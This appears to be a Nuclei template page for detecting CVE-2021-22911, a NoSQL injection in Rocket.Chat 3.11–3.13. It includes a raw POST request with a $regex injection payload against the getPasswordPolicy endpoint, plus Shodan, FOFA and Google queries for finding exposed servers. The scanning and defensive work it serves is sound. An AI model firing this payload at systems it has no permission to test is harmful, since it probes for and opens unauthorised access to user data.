Skip to content
Nuclei Templates

Rocket.Chat <=3.13 - NoSQL Injection

ID: CVE-2021-22911

Severity: critical

Author: tess,sullo

Tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli

Description

Section titled “Description”

Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2021-22911


info:
  name: Rocket.Chat <=3.13 - NoSQL Injection
  author: tess,sullo
  severity: critical
  description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.
  remediation: |
    Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.
  reference:
    - http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
    - https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
    - https://hackerone.com/reports/1130721
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
    - https://blog.sonarsource.com/nosql-injections-in-rocket-chat
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22911
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22911
    cwe-id: CWE-75,NVD-CWE-Other
    epss-score: 0.94773
    epss-percentile: 0.99209
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query:
      - http.title:"Rocket.Chat"
      - http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli


http:
  - raw:
      - |-
        POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[error-invalid-user]'
          - '"success":true'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
# digest: 4a0a00473045022048a2b31cb950164209a0d1237131686e93f3821ec22a7cbaeec839f36ef52a9e0221009952549299ceaaa5cfa6208cca9a73f78eac8c15833ff69168069cb384322cb6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-22911.yaml"

View on Github